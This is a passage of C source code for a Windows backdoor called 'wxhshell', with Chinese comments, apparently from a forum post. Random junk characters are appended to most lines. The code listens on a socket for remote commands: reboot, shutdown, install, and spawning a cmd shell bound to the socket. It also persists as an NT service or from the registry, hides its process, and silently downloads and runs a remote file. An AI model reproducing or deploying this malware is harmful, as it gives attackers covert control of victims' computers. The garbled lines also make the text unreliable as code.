  // 帮助 20l_ay  
  case '?': { CLY6 YB' R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); afF+*\xXN  
    break; )@bH"  
  } +#qt^NO  
  // 安装 Bf:tal6 -M  
  case 'i': { 9c^skNbS  
    if(Install()) ,3]?%t0xe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); noh|/sPMD  
    else :#w+?LA*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_!u@\  
    break; xw+<p  
    } Km9}^*Mo%  
  // 卸载 r=DHt&x=  
  case 'r': { w,![;wG  
    if(Uninstall()) A?Nn>xF9X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EARfbb"SG7  
    else JC&6q >$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )y`TymM[F  
    break; oB0 8  
    } ] `B,L*m6  
  // 显示 wxhshell 所在路径 N$%61GiulT  
  case 'p': { >{ECyh;  
    char svExeFile[MAX_PATH]; &7($kj  
    strcpy(svExeFile,"\n\r"); r2SJp@f  
      strcat(svExeFile,ExeFile); uGa(_ut  
        send(wsh,svExeFile,strlen(svExeFile),0); 'l' X^LMD  
    break; 0n*rs=\VG  
    } lj EB  
  // 重启 (3ZvXpzvF  
  case 'b': { =s0g2Zv"\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p fL2v,]g  
    if(Boot(REBOOT)) r}R^<y@I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eA1k)gjE  
    else { E5*-;>2c  
    closesocket(wsh); 3V/_I<y  
    ExitThread(0); xHv|ca.E  
    } x[PEn  
    break; q8?= *1g  
    } ,TF<y#wed  
  // 关机 }O.LPQ0  
  case 'd': { VR4E 2^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : 'd76pM-  
    if(Boot(SHUTDOWN)) emv;m/&8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (|<h^] y3  
    else { Bw 3F7W~l  
    closesocket(wsh); p;qRm} 0}  
    ExitThread(0); gH i~nEH  
    } m3xz=9Ve  
    break; 66~e~F}z  
    } %Lp2jyv.  
  // 获取shell MUbhEau?  
  case 's': { 5;F P.{+  
    CmdShell(wsh); FgOUe  
    closesocket(wsh); *MYt:ms  
    ExitThread(0); (|g").L  
    break; >`hSye{  
  } G-\<5]k]  
  // 退出 [i(Cl}  
  case 'x': { DC|xilP1O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9m\)\/V  
    CloseIt(wsh); /&D'V_Q`*  
    break; v#<\:|XAg  
    } 2q"_^deI5*  
  // 离开 =MTj4VXh"  
  case 'q': { <#xrrRhm}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |h^K M  
    closesocket(wsh); 2f3=?YqD  
    WSACleanup(); v7 8&[  
    exit(1); *>e~_{F  
    break; |x d@M-ln  
        } j:HH#U  
  } A$7Eo`Of  
  } 7<EJo$-j  
M MAAHo  
  // 提示信息 ?_VRfeztw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *he7BUO  
} e> ar  
  } <TI3@9\qXE  
G%2P  
  return; _qY`KP "  
} z@!^ow)`J  
lir &e 9I+  
// shell模块句柄 D3%l4.h  
int CmdShell(SOCKET sock) T@(6hEmP,  
{ LKqRvPnh  
STARTUPINFO si; cJP'ShnCh  
ZeroMemory(&si,sizeof(si)); `aO.=:O_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >65 TkAp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X$BXT  
PROCESS_INFORMATION ProcessInfo; `Uz s+k-]  
char cmdline[]="cmd"; \HCOR, `T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r~)VGdB+  
  return 0; UG6M9  
} xe(MHNrj  
oz%h)#;  
// 自身启动模式 /"(b.&  
int StartFromService(void) ]KsGkAG  
{ 8]My k>  
typedef struct 54=}GnZN  
{ jo_o` j  
  DWORD ExitStatus; mYX56,b}5  
  DWORD PebBaseAddress; XDHLEG-u(  
  DWORD AffinityMask; Lb!r(o>8Cb  
  DWORD BasePriority; dO+kPC  
  ULONG UniqueProcessId; 7k 3p'FeS  
  ULONG InheritedFromUniqueProcessId; LL{t5(- _  
}   PROCESS_BASIC_INFORMATION; xC)7eQn/R  
w'd.;  
PROCNTQSIP NtQueryInformationProcess; GSQfg  
7. %f01/i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -<O JqB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >[K0=nA  
mDZ=Due1  
  HANDLE             hProcess; (Ar?QwP9>  
  PROCESS_BASIC_INFORMATION pbi; ~Y% : 3  
N].4"0Jv-D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KZECo1  
  if(NULL == hInst ) return 0; ,SAbC*nq  
Y\.DQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xYmdCf@H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {n\6BTs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !2(.$}E  
Cq gJ  
  if (!NtQueryInformationProcess) return 0; ]+AAT=B<!  
9KXym }  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QS\Uq(Ja\  
  if(!hProcess) return 0; H]BAW *}  
SAP;9*f1\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8AryIgy>@  
D^n xtuT*  
  CloseHandle(hProcess); >Z}@7$(7!~  
B-$+UE>%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VW{,:Ya  
if(hProcess==NULL) return 0; }bp.OV-+  
3a%xn4P  
HMODULE hMod; 5|CzX X#U  
char procName[255]; U>oW~Z  
unsigned long cbNeeded; Im6U_JsNZh  
`\wUkmH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B n{)|&;  
$iwIF7,\P  
  CloseHandle(hProcess); ^dh=M5xz)  
?<E0zM+  
if(strstr(procName,"services")) return 1; // 以服务启动 : aH%bk  
iNXFk4  
  return 0; // 注册表启动 (X*9w##x(  
} E&'#=K[  
F%}7cm2  
// 主模块 \Y9I~8\ gB  
int StartWxhshell(LPSTR lpCmdLine) vuZf#\zh}  
{ Ym'7vW#~  
  SOCKET wsl; mzu<C)9d,  
BOOL val=TRUE; z<t>hzl 7  
  int port=0; <E SvvTf  
  struct sockaddr_in door; U3/8A:$y  
0F1u W>D1  
  if(wscfg.ws_autoins) Install(); # J]~  
;t|,nz4kJ  
port=atoi(lpCmdLine); aF!WIvir  
M"B@M5KT  
if(port<=0) port=wscfg.ws_port; E.9^&E}PG  
cg{Gc]'1#  
  WSADATA data; of=ql  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vffH  
"(<%Ua  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @O'I)(To  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q4+Yv2e <r  
  door.sin_family = AF_INET; w?_`/oqd|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $]1qbE+  
  door.sin_port = htons(port); .wD>Gs{sH[  
4j^bpfb,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hD*(AJ  
closesocket(wsl); &5d\~{;  
return 1; /w0w* n H  
} {gw [%[ZM  
pD[pTMG@$  
  if(listen(wsl,2) == INVALID_SOCKET) { QhsVIta  
closesocket(wsl); } YRO'Q{  
return 1; hox< vr4  
} j-QGOuvW  
  Wxhshell(wsl); lM$t!2pRB  
  WSACleanup(); u (AA`S"  
^iuo^2+  
return 0; D&-vq,c  
wh*:\_!0\  
} ZL,6_L/  
t|_{;!^  
// 以NT服务方式启动 FD))'!>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 94y9W#  
{ #hy+ L  
DWORD   status = 0; \qB6TiB/  
  DWORD   specificError = 0xfffffff; >P<'L4;  
zC#%6@P\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2 ZK%)vq0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m2Q$+p@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i\  "{#  
  serviceStatus.dwWin32ExitCode     = 0; :Pf>Z? /d  
  serviceStatus.dwServiceSpecificExitCode = 0; WI{; #A  
  serviceStatus.dwCheckPoint       = 0; :xtT)w  
  serviceStatus.dwWaitHint       = 0; f]]f85  
M|H 2kvl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  pr/'J!{^  
  if (hServiceStatusHandle==0) return; K'V 2FTJI  
cl_T F[n?  
status = GetLastError(); a MsJO*;>  
  if (status!=NO_ERROR) 3Soy3Xp  
{ ,WGc7NN`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %0zS  
    serviceStatus.dwCheckPoint       = 0; 'gCZ'edM  
    serviceStatus.dwWaitHint       = 0; ~5T$8^K  
    serviceStatus.dwWin32ExitCode     = status; ']h IfOD"r  
    serviceStatus.dwServiceSpecificExitCode = specificError; sjn:O'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a5 bPEJ=I  
    return; 5aG5BA[N  
  } (2tH"I  
},s_nJR:8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xj7vI&u.  
  serviceStatus.dwCheckPoint       = 0; n$xszuNJ`  
  serviceStatus.dwWaitHint       = 0; MOeoU1Hn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZJvo9!DL|  
} h 1*FPsc  
5VZjDg?  
// 处理NT服务事件,比如:启动、停止 =|"= l1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w&5/Zh[~~L  
{ ntZ~m  
switch(fdwControl) "[.ne)/MC  
{ F 3s?&T)[G  
case SERVICE_CONTROL_STOP: Mt=R*M}D0  
  serviceStatus.dwWin32ExitCode = 0; {[tZ.1.w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Z0-8<\  
  serviceStatus.dwCheckPoint   = 0; -"tY{}z  
  serviceStatus.dwWaitHint     = 0; kT2Wm/L  
  { {Xv3:"E"O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]=Pu\eE  
  } ]'g:B p  
  return; @k9Pz<ub  
case SERVICE_CONTROL_PAUSE: gH'3 dS!{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sc{Tq\t;%  
  break; (0}j]p'w  
case SERVICE_CONTROL_CONTINUE: #D0 ~{H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |T y=7d,  
  break; G1[(F`t>  
case SERVICE_CONTROL_INTERROGATE: B!uxs  
  break; He<;4?:  
}; &`@lB (m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U=DEV7E  
} LQ>$ >A(  
6n,xH!7  
// 标准应用程序主函数 Yv=g^tw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T%~SM5  
{ `2e_ L  
-N4z-ozhC  
// 获取操作系统版本 @,e8t BL  
OsIsNt=GetOsVer(); #9,=Owup  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \4QH/e  
%6HX*_Mr&  
  // 从命令行安装 ?;RD u[eD  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^RDU p5,T  
x`L+7,&n  
  // 下载执行文件 E-F5y  
if(wscfg.ws_downexe) { WUY,. 8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RY<%'\A`~  
  WinExec(wscfg.ws_filenam,SW_HIDE); [xf$VkjuF  
} `M0YAiG  
( OXY^iq  
if(!OsIsNt) {  p[Hr39o  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fv@tD4I>  
HideProc(); U{HML|  
StartWxhshell(lpCmdLine); xW0Z'==  
} x?=B\8m  
else )# PtV~64  
  if(StartFromService()) =y<0UU  
  // 以服务方式启动 Gnv!]c&S>l  
  StartServiceCtrlDispatcher(DispatchTable); {$|/|*  
else I=5dYq4 l  
  // 普通方式启动 i*68-n  
  StartWxhshell(lpCmdLine); --A&TV  
BV1u,<T"  
return 0; &g {<HU?BT  
}
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只看该作者 1 发表于: 2006-10-10
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